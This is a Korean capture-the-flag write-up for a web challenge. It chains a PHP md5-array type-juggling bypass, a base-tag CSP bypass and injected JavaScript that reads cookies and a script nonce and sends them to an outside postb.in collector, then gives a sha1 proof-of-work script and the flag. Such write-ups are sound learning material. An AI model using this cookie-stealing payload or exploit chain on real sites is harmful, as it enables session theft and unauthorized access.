웹사이트 접속하고 나서, 무슨 사이트 인지 파악하기 위해 막 눌러봤다.

howtobuy.php로 끝나는 페이지에서 아래와 같은 문구를 발견하였다.

총기구매하기 위해서는, "스페셜"이라는 권한이 필요하다는 사실을 문구를 통해서 알 수 있었다.

페이지 소스 보기를 통해서, 주석을 발견할 수 있었고, 주석을 통해서 "스페셜" 권한을 얻을 수 있을 수 있는 힌가 될 것이라고 판단하여, 접속해봤습니다.

해당 페이지는 마찬가지로, "스페셜" 권한을 가지고 있는지 아닌지에 대해 알려주고 있었습니다.
또한 주석에는 호기심을 자극하도록 되어있었습니다. (??)

<?php

if (basename(__FILE__) == basename($_SERVER["SCRIPT_FILENAME"])
    && isset($_GET["remote_debug"]))
  die(show_source(__FILE__));

if(!isset($_SESSION))
  session_start();

function is_special() {
  if(!isset($_SESSION["perm"]))
    return false;
  return $_SESSION["perm"];
}


if(isset($_GET["cred_plain"])) {
  $cred = $_GET["cred_plain"];
  $avail_users = [
    "admin" => "f6566fbef52560d383f5aa6a100697d8",
    "manager" => "ab1f6495fcbec4f0ea50425cc5539672",
    "guest" => false //Guest doesn't need to have credential!
  ];

  if(strpos($_SERVER["QUERY_STRING"], "cred_plain") || // During development, you can't get credential with cred_plain
      strpos($_SERVER["QUERY_STRING"], "["))            // Don't cheat!
    die("Don't cheat");

  if(in_array(md5($cred), $avail_users))
    $_SESSION["perm"] = true;
  else
    $_SESSION["perm"] = false;
}

if (basename(__FILE__) == basename($_SERVER["SCRIPT_FILENAME"])) {
  echo "<h4>You are ".(is_special() ? "special" : "not special")." now </h4>";
}
?>
<!-- ?remote_debug=1 -->
1

그래서 들어가봤고, 위와 같은 코드를 볼 수 있었습니다.

cred_plain 라는 파라미터를 GET 메소드로 받을 수 있다는 사실을 코드를 통해 알 수 있었고,

아래 코드를 참조해서, 스페셜이 될 수 있는 조건을 알 수 있었습니다.

  if(in_array(md5($cred), $avail_users))
    $_SESSION["perm"] = true;
  else
    $_SESSION["perm"] = false;

function is_special() {
  if(!isset($_SESSION["perm"]))
    return false;
  return $_SESSION["perm"];
}

위 조건식을 충족을 시킬 경우, "스페셜" 권한을 얻을 수 있었습니다.

그렇다면, 어떻게 조건식을 충족을 할 수 있을까요? 조건식을 충족을 하기 위해서 한번 좀 더 깊숙하게 들어가보도록 합시다!

if(in_array(md5($cred), $avail_users))

md5 함수는 배열을 받을 경우, false를 내뱉으며, false가 $avail_users 딕셔너리에 'guest' 항목이므로 in array 함수가 True가 됩니다. 그렇다면, cred_plain이 Array이어야 합니다.

그건 매우 간단한 솔루션을 마련하여, 해결할 수 있었습니다.

http://52.78.151.181/get_perm.php?cred_plain%5B%5D=asdfasdfsdfsdf

이렇게 만약 요청을 보낼 경우, "스페셜" 권한을 얻을 수 있었습니다.

이제 "스페셜" 권한을 얻었으니, 총기를 구매할 수 있습니다.

1. Product Code - 입력같은 경우 아무거나 입력해도, 상관이 없었습니다.

2. Purpose of use (free format, max 300 letters) - HTML Element Escape?를 통해, 원하는 HTML Element를 전달할 수 있도록 했습니다.

해당 사이트에서는 CSP(Content Security Policy)가 존재했으며, base-uri같은 경우 설정 미스로, 설정 미스를 통해 CSP Bypass를 할 수 있게 됩니다.

사이트에 있는 스크립트를 만약 "abc.com/static/js/jquery.min.js"라는 부분이 있다면, base tag에 의해서, "yunseok.kr/static/js/jquery.min.js"로 요청하는 꼴이 됩니다.

그렇다면, yunseok.kr 웹서버에서 똑같은 경로에 똑같은 파일 명으로 악성 스크립트전파한다면, 그거야 말로 파급력은 대단할 것입니다.

저는 아래와 같이 코드를 업로드했습니다.

var payload = document.cookie;
var nonce = document.querySelector("script").nonce;

var src = `https://postb.in/1569059561759-0691916393116?hello=/?${payload}`

var s = document.createElement('script')
s.type = 'text/javascript'
s.src = src
s.setAttribute('nonce', nonce)

document.body.appendChild(s);

3. Pistol license - 해당 파일같은 경우 아무거나 보내도 무관했습니다.

4. Proof of work - 특정 값을 sha1로 암호화할 경우, 앞 5자리를 입력 값의 sha1 암호화해서 대조하여, 일치하는지 확인하는 부분입니다. / 이 부분에 대해서는 아래 코드를 통해, 알 수 있었습니다.

from hashlib import sha1

def get_hash(target):
    for val in range(10000000):
        if sha1(str(val).encode('utf-8')).hexdigest()[:5] == target:
            print(val)
            break


stra = input()
get_hash(stra)

위와 같이 해서 "Send Request" 버튼을 눌러서, 어드민에게 요청이 갈 것이며, 우리가 생각하는 생각 대로 정상적으로 악성 스크립트실행 되어, Flag가 우리에게 올 것입니다. 

그렇게 해서, "th1s1sv3rys3cr3tm4g1c0fc55" 라는 값을 얻을 수 있었고, 이건 바로 플래그다.

Flag is FLAG{th1s1sv3rys3cr3tm4g1c0fc55}

+ Recent posts